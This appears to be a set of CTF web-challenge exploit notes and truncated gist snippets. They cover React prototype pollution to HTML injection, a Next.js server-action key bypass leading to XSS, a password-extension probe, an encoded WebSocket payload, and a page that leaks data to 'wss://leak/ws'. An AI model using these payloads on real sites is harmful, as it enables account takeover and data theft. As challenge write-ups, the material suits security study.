-
vulnerable version of react-hook-form (v7.51.4) used which allows for prototype pollution (
/transfer?message.__proto__.x=1) -
pollute
defaultPropsReact gadget to put arbitrary attributes on elements (https://cor.team/posts/redpwnctf-2021-web-challenges/#mdbin:~:text=defaultProps) -
pollute
__proto__.defaultProps.dangerouslySetInnerHTML.__htmlto HTML payload, pollute__proto__.cache=only-if-cachedto make the fetch fail so the page doesn't change afterwards. now, when we submit the transfer (&autosubmit=1), we see our HTML loaded. -
now that we have arbitrary HTML injection, there's still not much we can do. if we could leak the admin's transfer token, we could steal all of their balance. but that page only loads via fetch. but since we have HTML injection, we can try the modernblog exploit path and load another nextjs app inside of the nextjs app, in an iframe srcdoc.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // first send this, then send the whole script | |
| // process.kill(process.ppid, "SIGUSR1") | |
| const fs = require("fs"); | |
| const wsPayload = `KCgpPT57dmFyIF9fd2VicGFja19tb2R1bGVzX189ezI5NihlLHQscyl7InVzZSBzdHJpY3QiO2xldCBpPXMoODEpO2kuY3JlYXRlV2ViU29ja2V0U3RyZWFtPXMoMjUpLGkuU2VydmVyPXMoMTQzKSxpLlJlY2VpdmVyPXMoMzE1KSxpLlNlbmRlcj1zKDY3NSksaS5XZWJTb2NrZXQ9aSxpLldlYlNvY2tldFNlcnZlcj1pLlNlcnZlcixlLmV4cG9ydHM9aX0sNzI4KGUsdCxzKXsidXNlIHN0cmljdCI7bGV0e0VNUFRZX0JVRkZFUjppfT1zKDc0Mikscj1CdWZmZXJbU3ltYm9sLnNwZWNpZXNdO2Z1bmN0aW9uIG8oZSx0KXtpZigwPT09ZS5sZW5ndGgpcmV0dXJuIGk7aWYoMT09PWUubGVuZ3RoKXJldHVybiBlWzBdO2xldCBzPUJ1ZmZlci5hbGxvY1Vuc2FmZSh0KSxvPTA7Zm9yKGxldCBuPTA7bjxlLmxlbmd0aDtuKyspe2xldCBhPWVbbl07cy5zZXQoYSxvKSxvKz1hLmxlbmd0aH1yZXR1cm4gbzx0P25ldyByKHMuYnVmZmVyLHMuYnl0ZU9mZnNldCxvKTpzfWZ1bmN0aW9uIG4oZSx0LHMsaSxyKXtmb3IobGV0IG89MDtvPHI7bysrKXNbaStvXT1lW29dXnRbMyZvXX1mdW5jdGlvbiBhKGUsdCl7Zm9yKGxldCBzPTA7czxlLmxlbmd0aDtzKyspZVtzXV49dFszJnNdfWZ1bmN0aW9uIGgoZSl7cmV0dXJuIGUubGVuZ3RoPT09ZS5idWZmZXIuYnl0ZUxlbmd0aD9lLmJ1ZmZlcjplLmJ1Z |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (async () => { | |
| document.head.innerHTML += ` | |
| <form data-dicepass-username='x'> | |
| <input name=value></input> | |
| <input data-dicepass-password='x'> | |
| </form> | |
| `; | |
| await new Promise(r => setTimeout(r, 1000)); | |
| const extensionId = await window.dicepass.extensionId; |
- provided dist contains
.nextbuild folder .nextbuild folder contains encryption key for server actions in.next/cache/.rscinfo- this means that you can decrypt/re-encrypt the data when creating a connection, bypassing the Zod validation
- this gives you XSS in the
DifficultyIndicatorcomponent via prop spreading:
export default function DifficultyIndicator({ puzzle, className = "" }: DifficultyIndicatorProps) {
const { groups } = puzzle
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <link rel="icon" type="image/x-icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg=="> | |
| </head> | |
| <body> | |
| <script> | |
| const sleep = ms => new Promise(r => setTimeout(r, ms)); | |
| const params = new URLSearchParams(location.search); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <body> | |
| <script src="https://cdn.jsdelivr.net/npm/jszip@3.10.1/dist/jszip.min.js"></script> | |
| <script> | |
| const TARGET = "https://beatmap-list-web.challs.sekai.team"; | |
| const sleep = ms => new Promise(r => setTimeout(r, ms)); | |
| const ws = new WebSocket('wss://leak/ws'); | |
| const log = (msg) => { |
OlderNewer